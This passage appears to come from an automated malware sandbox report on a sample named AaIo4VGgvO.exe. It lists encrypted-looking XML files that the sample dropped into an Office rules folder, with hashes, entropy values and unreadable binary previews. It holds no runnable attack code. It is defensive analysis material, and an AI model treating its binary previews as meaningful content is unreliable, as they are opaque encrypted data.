Preview:	.<?.....K.......2@.+R..`K$.h.W.l...D.4~....Hc@./ #RE..6.......R...{...c.!b.b.^:.E....b...z.....m.l..#..qf)[........Dvv........EC.i{.-Y.~.......J.~...x.Ay......>...........O...../_...e...=.....$0..g7..B..F.....KR0.H.......s..zQ P.....N./A1..=......Veg.L..M.........!..Wk,...k....C...8'.......)Z..T.j..).._E+Ol.._...H...).j.Sm..W3.y..9,.. ../..=DYj>....[...aaB3.#pP..5.v..t.s.e....(M..m......V.iv.).R..l+....._On..U.U.b[.....3.@BZ5_m....w...:....e.C.c.@...@p'.L.......]...H...lA...._...%.i'.z9..>. x..Ik....c.O...R..+.#.......7 ../x..\|.A.t.......`.:#M..JR..\|\|GB....?Z.@.=..y._.6W...s.'..-...../Fe.Y!....c_...O.;.@.....B.$..c.........X[\a.t44....qr....T<.+i........sY.HL.+.".......v.).zq5..[)e.C.)S.]4\|*.....!h`.]..'"..&..vX..N...".O..F..W..q.R...%.x. ..W.\|+..U..s..wn?y..x.j.0.\C.....F.P........&%Q5#_9..H.1Qq..L......,...0.B...0.3....~..s1...E.....q.......`......y......b..c.\|@.fG7...E.c.P."...~q...:.ra.L..@^YB.......{....u2.H........

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	742
Entropy (8bit):	7.7272855600344315
Encrypted:	false
SSDEEP:	12:HwGfkxHE5Vxir5RwleJC4h8rjWydFjlde1I43Snd98SX9pyBcm2gfp1+cii9a:H5fmkrxilRRC4+jLdzdeod9TpyBcm16X
MD5:	8E97731C097B6EBE72360F892784DD38
SHA1:	89BCB2A7E381D3A395520E9D42F3000F95A90EC4
SHA-256:	49E5F14CC4A509B27D04B5ED48D3AFA87DD303A7E23BDC5F37CDB7D4F5067D96
SHA-512:	F44FD07D30F10B58EE387255A28B54E87984C6DB17B59802CAF24EBE5DF743BAE84AC31DE0A306531841D8321628624448D69CA676BFD44DA9B68EC93E973B00
Malicious:	false
Preview:	.<?Uk...5.....R.B#......z/.+.w".i.......lI...].$.q.....i.T.gz^.:.S.%...z.3...KW.=...H .S-...6C...#.K.{..RVl,u...m......1..eF...%...M....wX/.d;...L.s ep..MQ.>%.d.J.W..g.Hv.x.N.^u...v..".?.>Z....}...$.O6.I.@.<.....\|.m..>......$..).HV"[.~.#...,F3%w.#.F.......Q.y.MD..@wA...(...6.....T.7...u..g.Ufm...d^.qW...Z........C5Z...>.-E.p.l.......&.;.z.mKhr.f.:...BR C{ $.lV....<...R'.=.....q..u.)T..s!..{..!hP...q.......'.$.8..Z\..L.IY..9...._.D...h.w.......k.x...\|3...d.m......x....oXu....x...i.S...3.6\|N?d.zj.!.n...).2.o...{....i....4...;.K.~C,..i(H...+i*nd...Y..t.....2..R.".....2.+...b...F?HkLQ.{.f!n..jd~v...0....}i~<Q....5...^5A-.p.....=R.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.715972798814576
Encrypted:	false
SSDEEP:	24:NDB+JVlbM1qcS+sYvOd8Hu7Ts1tM6Wv5UREVokEjbD:hA9PcOYv1CTs3f25UvD
MD5:	7F9E35F69C0BEC71A45DD7DED9EDCA19
SHA1:	6E7AABB12BB71F6B5B1E93246277046AE12F1618
SHA-256:	12ED31B79F6C26A07B8ECF1F7A85A6D879B30437319BB8F16C1AF653E9BCFDB0
SHA-512:	6B8D1D79BD5B42309B2DAAB0787D4AEC2FB8ED5EA3F38D6FEE48B81133D114DF57D3CF3D9195835B0BFD179BDD504BA96DEEFCEA68468C5FB7C285D0E40A186A
Malicious:	false
Preview:	.<?A..u...^6...oKt.o...gc#....Z.H.;.eb0..ro9..Ne.x.\...^w!..._.W<.3..g..].......,...s}..2...7..vH.W.,.(......{..f...a\L........D......X...q.9._...7...b.d...._.8.?`...j.....4..9.S...0x...q...H7...0.H.m.A.4.O...%.9i....]...2k{..c..A..,.Z9../....a....A.>X..3<.4*(A)..G.k@.AAO\.m.R..z.,.sy.4 ^..=.."....y.^.i.x/....~...H....')V..../...c]..gu...7.....4`.\.?<..x.H.W/7L.c+..vu.E.JS{`...P.J..;$Yt@..t.C4. l>6^b.{..!6....[.#......A......\.t.)..A...4IbE.8....\|=....UEhH...X.... ............].\......I...N.q.</.......,..s\|#.Q.\|n8.f).d.;#..,..']..B ..0Az`.)....H.....K.......q..(.h.nu.Q....s..Fk.2..'%#.Vy...5!....P}.Z7.HW.v.........u...I......C.Om..w. .......u4..R......).`.$u.MR<%.....".....Q..Z..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.728916022117139
Encrypted:	false
SSDEEP:	12:eJFQclN+XhopLL+GIw4oYclLctMuQUsAQhJBHHeYu8rdjeVDpGxYpIHMPlmpA3rX:enN+2pf+Hw42atUhhFDuahUQA6MUAbnX
MD5:	CC0CFD697F4785FD1297A4B91AE94F23
SHA1:	90D54906B979588F6F7B6DC907870071BA6C08DE
SHA-256:	9F51B661DDD9E47C592646783C6171578C68C92E161C959E278A437E903866D6
SHA-512:	A6F14636920729F2D03721FA0DDED006107A075791F657F9FB4D8E71325DB5E20033071A85FF3613785203F5AC476ECFB5304B2D15E2F968D9696705683807E3
Malicious:	false
Preview:	.<?.W.I..@.l.....m..UA.N.z..)t;..\|...M8.0......Jh.......2t..c....e.^..(;.f.)d......Q...G....b.n.`^.Gg.z6a......3\G...\|Ko..KT"..7...D.P.Z"\|.......u....}..@..MD..x.1..S...n....4zc^G.....dJg.f.(..MSEY.$.Ej=X.i..(..fu.).. ..$.v/W.W.....k...Hu.I..wY.V..M../D{...n..l.>e... .p........\|Rg.=kN.rrR.S<.8{-b........G?...........\.(.j. `.n.v.:...o4.......+.L....q..m. c.JT.w.2^..B..a...mK^......8.........c..9.j.a.._..4...]d(..1m..r.....ja.......BL........Fw_.s......}y/l...Bo?..h..f.0.&..[.....-.Y.+..j.....N.4.R~#.B...h...7 .J...(..c.T..<.st.m......$*.!.....o............dH....._.6.WAwH#.T.GS....jO.U.8U/........f...W....h......s.X....3...5SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.7459089329501225
Encrypted:	false
SSDEEP:	24:dQwi53qdh4W7yVJ854X/ynGEwKuyupP1QlhXPQYCsbD:q3qQ8yv85hwx1pP1QQUD
MD5:	24D1D45F9DBB0F9299EF8BCDD7E0AFBF
SHA1:	ADF470FBB42D324B9590238532F1794D39B00B2D
SHA-256:	6A0CE469199DE1B1940566F7E4F4296C7461CA4F27DB62D5C0B3E5346E1994AA
SHA-512:	24E646A902859611C2890369E32C71AE509D22C5F0A166F8F3860E90F9A45B8CA5DB15B21184ECF9CD9E878308617B8DC88CC6A7718AC50BEA7E2BDA046A8A01
Malicious:	false
Preview:	.<?....6n...h....:f..Y.v..s........}.._....~a,q..XA....:F.,...:.j....O.......d........g.;...:&!A..d...a.....j.UO...l...W......u....... .'..~2.h...CS(....#SD.V..r{..6C=."n(.1~...u.....y..c..od..........%.x.R>)rO}.>.K......B-Fi...(..W.Y.,j......../r.^x.=3.K.8.-.K;".3!........;@....Z.i%..........5{...tN.$...).....Q>9...s>.[..u.....D.L6..".%.$..._,!....6....q.@......v{...X[..+.._bn.5........L/...1?.....1.\|.......+.U..+.75>.....,z...9..4..-..{!.t.L[a...GiP.......b....l...D..[X6./.C....D.S..n8..y.......C..px.{S..t"l%..t9F..1........-...B+..3k....3..i.\5..b/K<./@..G......jr.kD....;o..:S..}@./...MO.......y...z..W.H..E.)..W\|..,;..l u#.q.]..Z.MP:....=/r..x.....!q.++.....;p.J.. .S.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120613v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	966
Entropy (8bit):	7.794744580447692
Encrypted:	false
SSDEEP:	24:/YeVWv9+CNTx626UO8R2xVVV0v9RJaAfThS3nSegTbD:N8+CNTbO8RiVVQRJaAfTInSegHD
MD5:	FF92CCCABC545421012B3C916E72BFB3
SHA1:	463D0FFB90EF9D4574ECD18E29C22606306ABCB1
SHA-256:	7E5310BF1A82A9964B7951CCCA3D265373D3C028506024BF84FFC2F31EDC33EA
SHA-512:	AE9DE5021CBC0D72E20E7F0B7E72AC122DDC770451793111CE470358519CEFE95FCD9C47079DABC293BEA8A6EC95C60F0C795D526295FB2BCDB7B5A9A452FD8B
Malicious:	false
Preview:	.<?..y,...`+..4xED.q.e.Y.'...^+..k.......78@..z..........8..F....4G'.e.`#...."}..>v....G'.....J..>~..1......~. . Z..&@{.\|..w.....;.v.P`.b#C.r.@.nJ&\|.\|$.K.;..tA...n...G...G.iN3...;A...H+(...........;.......k....X8.N.16]..-.0.`..9b.J...e..jDCf..<Z..J(....J...1X5...f..{@...2......p1"...Q.K..8.S.....T"zn.No.....9<efp16:.Lr.].kRqF....../}~.&I{z.~G.n.r..p.Qx..g.M0O...l.`.._7E .i#..6.....g.lyW...\....UI....=........;.z..o...4......jG...`[..k^.!Z..:....y.NL......p:TJ...O..2....V.0..i^.7.....N F.#....}...........V...e.;.z.D..bL.m..........~.%..$P..`.o.T3.t<....Z@}.....SO.0..j.{3..g.....o...l.H/.3.....aa\{..).wd...y4.L.m>.?.x..DTT`q}(..~a..P...^C....2hk..6,...8.l...O..#8j....g.v.d.\..V../.HM...LA5.Qc!vv....T..4..u...r.+\|./.S.9.?.6....t.@=Y.t..cG..>.\|n.@&@%"<.I...fQ>.c.j-kW.Q...}7.i..6.....R....e....T?..xh.<...Z...-...C.l....=.4H...6.x.k#.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120614v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.732736553875671
Encrypted:	false
SSDEEP:	24:fR/81kxRqxsAP4OhuFjgGAEHzbqOdLXvFrhivW7bD:faewt3h186+RI4D
MD5:	D5510564EEEE468DA608BB4E7A525315
SHA1:	E0FB2B3E812B96D3E61CC8BA9FEE449A0C87339E
SHA-256:	A04E09AEDE564CE735D5FB94C0311BC3F297E8C337AAD7CBE4748FE2A300E46C
SHA-512:	D4C7EBACAA7F3D8EF28CA8303575B5A7BD913E14716EF40FF2C9F29919F99ABDDA46D0870DD9E63D4F6C95FC0597B9433ACDD9CE1071A242200599A250F95B61
Malicious:	false
Preview:	.<?>..Y..5.............?.@N..d.\.........[nw.'.M....\=.<)R....)U.]..E.7....I.....`y.:,..7.W.q....K=./\A..e.c.V.5A.....L2.=.!AP..J...Jq....F>.....`..p)x..;,...t.Pm.p..4....v..>.]..$t.<...%... .i.).=.9.zA.5..6..#[..@W]....0...z...0.'C..........T......gx.....lBK....O.yp..+.......t.Z.ws.'.%O._.].:....-.9...G..{+......!.p.[..=H.tD...T.....R..z.z.K.`..N.:.d.K..2..==.l.-...{).VyQ.L.;.....y...yn.:.%..w8.^L..5...!.U.........b....^...,..[.....#..3..7.v.0naA.@$..Z..F.......@QNg}.3.<..p...nv....`lx.X....>R.}...rd...>".........W.X'...3P.K....7..\T...Cj.N....3.....{.2..(.=._..s....Z%....D.....{..4^..........+7.s..W.A.\1B.7.m.V..i<...9....l..7....7{.q.JU..;...4.S_l.i.;..}f....d..\|....lq.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120615v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.726469980735289
Encrypted:	false
SSDEEP:	12:CjvWKiqbvVWL49a8ATNjWeDLD0NZAcQ2QBrfI+ML8qQlNb3QX75WutdMKjdlarVX:CbWWz34N7LDAAV2QBrfpMvqNDG3HirVX
MD5:	B605DE246EEB3D2FCB3602059D1EDA36
SHA1:	8EF38F394946742B2BD5B7AC6351691C1A0EC914
SHA-256:	995822592CFCDD84FFE226A6A1ADA388BCB765DEC39B6A79D0C735533D30A484
SHA-512:	80ADB57832532595698C1B3E7FE0BCF0C15D51F3976121366776544C48E05AB8C96D9631EF1FEC9A51894BA054EB5154E917395E5E49345D8219C0FB89ED0857
Malicious:	false
Preview:	.<?..D}.s..,.....7.p....(.....\|..S.Q..;...n..o.5...m..v<i..CBE...(... ..35E..6..LO.j...aC....:......s....^$A.$..."0?S.:......<.y.b...6}.&.u.]f.. .q.\|.F.u......[i.l..{sgqj.>....%...Q.....V.5...+i...:.to\.k[_<M.(%-T......p"{..5......[./....$M.,...m..CG......{..L..Z\|.l..%V......t.`F.dO.uA..b.5...L.5@'...s..}...t4....8..X....9 O.JI...S.(.....~..k>.....5.....n..K.)}.T..R.v.....8.[.v.>X.q...H.k......GH.JY.d..(.e.%.iS.c..b.[..7.....U.:.._#B.\|....w=.._.(.I.A@._.....4.pXZS.j.U$....L....a..~gzy.c.i...F.1....4v. .k.......ws...8u.i..Kc-..%5L!..x#0......?.8N..er{......%.[..,..y....5d>....:d.O#T.....\..e..S.x,6..F..p&...J7.....-..X5P;...w6.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120616v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.759946344031307
Encrypted:	false
SSDEEP:	24:wlvpRwa1+lBSrjSWOzw35gub71OhEDwbD:wlvpRx+lBSb3xbTWD
MD5:	372E91F0D6FAF5688BD7BBAC6685428F
SHA1:	2C7B2D600301B897480CEC6BEE560FD052CAD21C
SHA-256:	7BFC405F8D59742C56BE64D3974B5A38C2B6A5CCB2204E28BEC3BE05BE142C2F
SHA-512:	9FE65EECDDCE057699410004F276E0A070C47A75A97BE4E9E26FA2A80B4976241CEF654FDA212595BCA0467926595BB518252DDFE7B2E07CE2DF2D99793EC2C4
Malicious:	false
Preview:	.<?Kl6..pK....(...~.Tj.D.^m+/.M.=Us... ...yqM.Z..u7....c,.[...<._'...BP.[.7..R.: ..(k.......z...[6..WS..`..8Ad.:k..R,C{.....em.pLo......`[.s..F.b{JMY...F.^"._.t......6e........5;.Fc..9.. .......5...p).d..S.........bbo.Y..3.0.).\..@.p.u....e....6.$......i.Y.4.<.[[bk...$..h9.p..S....jpHa.8O.........>....W.....N...gU......t..i..n.s...9(M.,..4...o.. .h....\|`oD....!9....... -...:..+.....1 ..skK?-.T...f4;...!...a.%vt....D..zy.,H.M.;.....#...).[......:B.`....]?4'1...Nj...../..}..,.....0.41.`Q.W..d.X...G...p..?.!i...QLD...L......e..1`7f..*gL>J'...T.P..xr...@G.....V!._5...a.......".p..>.4.............AW.$....e....:".y....'_..U..../.T...>..LpA.d.m3)u.Z@..%...uV....U=..T..w.G.:.Mc..]..+...\..%#.^...}WSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120617v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	761
Entropy (8bit):	7.737431173919508
Encrypted:	false
SSDEEP:	12:N7x31saju7ya+Oh7rZdAQVgVyQ1nHgmzrEAEznMQUfUiDtGr31pf1+cii9a:FV1vi7yjO9PvFYHgCEA0MBfUItc31psX
MD5:	8341901C80C18EB94BCFD262B1A0C047
SHA1:	4D7D642E3C35D53369593EE05B7447AECD85B1F7
SHA-256:	3EF7B83463FE4FA25D6BE348669667F3383399FCC1763DE92C5E32D786010B19
SHA-512:	5700B7445F53CC2295DBAB98085F6D1F76764621162A92DB2712EF6B82F6CBF47D674D965F305DFAE49B15B392CF19C1E0EA93AF08BC931F57F02069C0E10F33
Malicious:	false
Preview:	.<?_ESVeNX....Xe)!..-.......5..[..c.Y..j>.>....*.....C..9..?......ii et....nR..........N.(....q..v...cA.~\|..L.0..-k..d....W....._.l{......@F.k.....^Ae....q.g...a5K.u7..Io..EEF... M.S0....s#....9..e.`...).84G.rL`&A......X....lz...?..=.,^........C7n....g.....\..).{<t.w.{.....d......rLcA8'...0.9.:<.o.."%....F..>m<.".....{L..}.kC...f.d{...0...?.M.E.z{...[..{J.oU.".^.w.3.%W.I..5a.....%.G..Az..t...Cil..%/...@iWXB.L.n..<....Pz.......09....d.P..c. .E..-.U....=...W.H....(...c....+.ndb<~.-.r.,....,..n85........~.....+o..u.Tr.r.1.0...h..Kh...1"..\|/..........`;p...&.j...'.5=..}.\.+..g.W..<?......!..[.....dr.Y3.(..D..}.Q....k..:.~.+..RM.9.S.$.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120618v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	820
Entropy (8bit):	7.70360160889289
Encrypted:	false
SSDEEP:	12:mSNchjOXTsNH5S3X/dzc83ygAE0/qiYC1PPoEdlxzf8ApRZFteSInLXOeJ/CcvdK:mSNCo3e83i/lRxPoef8ERZ2Zn6UabD
MD5:	50FE7C4F8E1988A1F6461F385C856D02
SHA1:	E26605F4C52784CC40E115FE0AC81C21EC241EDC
SHA-256:	1D2FDC0D59721C08116564E33A50C652044F6B84F77FABD0683641E5D2E7FF36
SHA-512:	E7052B7CEEB33489846B089464CED49D4A12E1D868AF6E93B0A4E233997BFA4AAF076575524B91096B34D36B472ECF1DA2A62CD5B6B78EA7F969DD8699CDA9BA
Malicious:	false
Preview:	.<?K...im..Q.....8.0.1...q.9....5.....y^.W.....>-..-F8_...5...L....Z...~....n..M.Aw.4.t ._.1..\.1.........\|8F^.q.c...%.O9A2d."XzOZQ..P(..(..F.]u..OE.z..4...4\...S...0....kk.}.....j_@.=.nu"..)..}zk..../...>)Y.....ls;.x...~...\..J7.@wL.]2..Q0.-."....U.6..Dq.x....2..".....S.~HD...;P1. ..\|Q.O@o.B.....=..;=...<........<T\|.m`D...o...k..Q...<..G..C.....A.hd.j..f6D.V..r.u...Qm..oq............O.)...".#..C.e..fHz...B.-......0S.^.S-.V.a_.....8{.#r..:.y.Y.I~nO......f3.`.?l..A.a....\|.%N...^!E..L.T..}.._..B_.nU.{..Q..-..y.U~)...ddS....L.G....V'\|2.N........K.`...@C.....2\|...*.U.7.,.(.......Zm.Y.9.....J.?..=.7y.>9..P.....hv..O.u..C..Q..Xt..F..C0J.0...O...\@...+3U......l.ADW...R..{.Pg.s....t.0.TC.!..4.....SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120619v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.727511221205927
Encrypted:	false
SSDEEP:	12:xBn4jouVyZ6c1ofpQZhKQMJQA9IVgH2Tp8ZlhOgDE/4GI1+cii9a:fnUi3kQutqGlOsE/4GjbD
MD5:	B5677A25200E9FDFDB28B9041D7A2981
SHA1:	E8DF72AA9603095F6E8CA465FC768598E6A4B564
SHA-256:	ED2E376E37CC27682A28614B95A9245B3109A5316FE6F76CE85870CB8F131ED3
SHA-512:	182569447F6CF7AC591AB911BA76B19FEE9EDCEA6E9E00508A2D49C8929C9D3411D27FCC1CBE79E37BFAE815AF654C5A74876056B8B9B2B546AC5F3BFD663A08
Malicious:	false
Preview:	.<?{.#..Q..D..n'.....H..X....Y....9!;F&.zD...."kkv...Kaq.2.~#..t.z".X...RW9...[<.8.K['"...X...j..^?..(.,C..Vq...V%..0%R..E..e.~~..mQ..KV!.z.5^1W..s.i./@..{tP..7......ZJ.@$..n..'E..N...q..;...C..........J.K.f.b........2.._.....<.sk..9.L.c..G+..4+h..=_.....U...:C..5.r........U]....E...E~N.c..b.}z0.....T.O.C.../...'...K...Qi..j....(..e.^.vl..^...F.........N..(#j.....<.z`.P"..@...o.F.'.Re3..l....hm.l..;@zx.y...K....g...L.I...g.i...V....%u.z.../...N.C@}..P.G...Bv.K.>...V..'n!. K...p..dC.lM........2..Xb....\R/......@o ...J.{........Ny...UX.G1.>.9..~c......u....:.#....)1C2.....?....".......~s....s..C.....@o...I..K.v.z..uh9'SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120620v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	803
Entropy (8bit):	7.722504807016341
Encrypted:	false
SSDEEP:	12:fCLsSMjznKz1JP7PeNKoJELt0ENh3qTPx5fWosC8qZsnAITzsMyBS4hw7z+Hz1+X:KLPzTPLeNKoy9Nh3UPDWejgsdSMVgbD
MD5:	77F94D9C8BAD5CC54324B0C962287224
SHA1:	6D686B9C02FE3D331320A8E0E9C55D5D2A5F3948
SHA-256:	F7598EAB0B6DD377D33D7CCB623B35CCC2648DA74CD797432C860C0170FC8548
SHA-512:	7B2DF2B446D9A5DC917D2D09CB76B08253250038CC88A48C4FE9170A8C761C571C33B7DB7611E6D20CB92BAA34E5401CC3BBF7E2F36C5F487CD1791F9637885C
Malicious:	false
Preview:	.<?.x......y..\|.2\|.n/....6.^@D..........2W0w...)e..........:.x.......{..Go#d...$$..g.=;.B.:.C,.@P,..C.d.o.`...o.?...H....ft..G.0K...z."_U.....:...t}.)L...%.0.E.NaL...,mh.w....8....Q`./PG.\.9.....XQ..r...?..K...I`s8..=...".E... .....G58.q....L....{.H.......g..a..5Ca......~....k...]........=U..._..2.}.w.F...qU.s6.SQ. ......[.:t..B.......K.@..H)Q..)H5.>]..ix\..{.3....u.F.:.M..&.'O...8.?\|[..}....kR....,{e.`...:.....i5._zr.].8..+.EC.o.0.rsI..@k..~...q'(Eh.WZ.=l....#....q..0...)./.~..A.w...-...(D...f>."...a......s...\|p.KS...LUZKl..~...rh.....z...6...r6+5a.....=J....o...9.iV..M.I.~.....Q......]..".X.).@......;H..FT.V.K4{...I.*.U....9c..2c."V....}.."}T.^....<(p.k'U...wO.t..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120621v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	749
Entropy (8bit):	7.702501130119972
Encrypted:	false
SSDEEP:	12:f0eOdFrJS+p7njcfv4oLvPv1zEQD7Qdgy8CoYsE8IygWCD1Cf1+cii9a:fl6RJNpDjcf7X9zE2Igv9rC/bD
MD5:	D22509630B0D71F2F59DCA2A2C15D248
SHA1:	10D6F17717E92E6A7C7DBCF6242488A1C81E07A1
SHA-256:	F69C9E26B9D6AE8C03DA299BC1B59E69CE411FE24BC5873C93EFAD6D04154916
SHA-512:	B97EF7672A4121D751E1EB9F7227B26A0B45DF8847DD53FA8D23FAF6AC2145C2D65A9B7AFD1FDEFF1C2AED5792BE78D90B5462F7B6673894EFF04A13F01B2166
Malicious:	false
Preview:	.<?.c./..[..rd.:;......X..k...........w.8.E.e..U..7.:...N.%5..Z..3.X...ol....`.Dz...../L.C...Z..K...?.X.p....I..Kj.>...5..BlJm...y).a....i<.`..8.RF..q3.iQ....M.{.e.>....i@.... /]S.....'.:...j.....h....x.6m.w.I(.@C.....&....Rh.;...w.l..7...E..b.8J...<..;............$h'.e...I..{./.0./.V.a}r.s/.c&./QWJ.2..$...t8....:=....^.{+..m.U.Gr...L..G..A.=}C;.............~.....]......r>....<i...b.k..z[..Y..FH......T.T.8.>..l.....h.../.F./.PT.^f..d..\.....Fy<M.#.>.n%..7...a..........&..z.YF.X....8..rw.......Z._.3..D.a....._q/......X..\...(~..v..x.........]{..(./$..%.........ij..f?...u.QbRr....".v4..c[...0.4...:..K..j.6D..:..6n....[.......`.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120622v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	811
Entropy (8bit):	7.752306936354614
Encrypted:	false
SSDEEP:	12:KsZk/C54qcOCa9KeZee1R74AWHUV3Bwe0V/29TsCVC2YMuyrJn/uBl1+cii9a:KQk5TejwAEUVffTszYJ2BebD
MD5:	7610D8D8BCCAD31C73944FCD2BCB5395
SHA1:	BD35E7741E20EAD0C182D5CFBE17BF3D3917A2C7
SHA-256:	97D22225AF3DAD4F1ED51F3DC67808E94457572ADD2D4847B02E8AFFB4509DA6
SHA-512:	AC451DF337A3A8015ADC1170D687D349DCE57568037DB874A945A7236A38440380E9A4331568605950F94CB1BEA2B225CC60D36330792C9338EBF9CCE1D5D894
Malicious:	false
Preview:	.<?.X.poh..78 G.....,...8n,...C...Wa.x.......p..3...0+!..,.v.I(^...A..Z,[.B.H.N.^.....,..K.2.M.....W....w.9..3......e...K(....cS..ao..7{........:t.v#}.P3.6M.~Z...m.RY...l.Z.2...[.H...%#.9v..ZG....e.`.......Q.....o.]....U....L...-.=.V..L....;.vU...Ag.p...F.6z..+.........S........y.H....~.U.....Tly..7.... $.O..H.C^...-...q...........O,5..P6...w.u.h.-.r?...'"N._.tS+...........)...e..]..3,A.....Z......).G.xz.4......b.q..l.E...p.b..h..D.t.w13ZE.i.P.\|..4..g\|Z"..;.....\K.....8......pE.#e.=.../cz{.a....}.Q...n`..wW..#....lvh.v..Fjr..A..4.....E..\$R.d$wv.l..f.&......m\.I......'..n..j...RA{.?....%.AN.y.....`.:...q..?E.."....q..$I..[..........!.JV<.$.."..T.x._..'.>.3.(\.Hmg2....G.... .SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120623v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	798
Entropy (8bit):	7.748897913139232
Encrypted:	false
SSDEEP:	24:DIR5A1RPyhSHiivQvdFMWNMlLDlw0G2bD:DIR+ZRwXKLfD
MD5:	53CAC2DDD3684A5462982315C2CF761D
SHA1:	40F45B658A021EF0B282712D87761120B6C37C76
SHA-256:	B6EF861984C364332CD50EE9428D40B56FF62005A9A4AFDE38301AC7D697D614
SHA-512:	888D03B187BF6101C4BBA662633E7050782721118466B6476EBAD772043E4B70C6AAF95801A71DCEB9C3C8BEEEAD4B4F3ABD365D3E4DE0028ECFC7CA2E3C5243
Malicious:	false
Preview:	.<?.....$.....HB....;.8..n.w.=....I..H..N#..t.....q6.O.v.Z.....b.,.....T...t#..L.A.g......8.z....mACF.;..C.uHE...87O......f..m........Y...e!...4,...pNx.#d=.`Szp.QJEI..^.y..h.=...7...$.....Z......;......w{..f[...Q..q@9..Z.....[4.p.(N...nk...n.8.;..."(.<{....+.L2..8....v.].p.7...v..a...eg.k.c..E:..O......Vx..p..(2..BXr{.....iI..C.62..+..31.......(...?...m.. k..C.........s......x...IP.$.....S.2...GlG..1.].~.,w...Z2.1..a...1!&Cg.......5.U\.@.b./y.f..W.......... ..m@....W.L)..R.... ........$..%).H....`..n.d8W>Sp'(..x.!=.i..d`.3.P.v..dA....V.U].f...1.#j>Q-..>....=X....d.. ..\|...[.......b.&5.0...\|<..#.d.E.....\..i!3&#.. 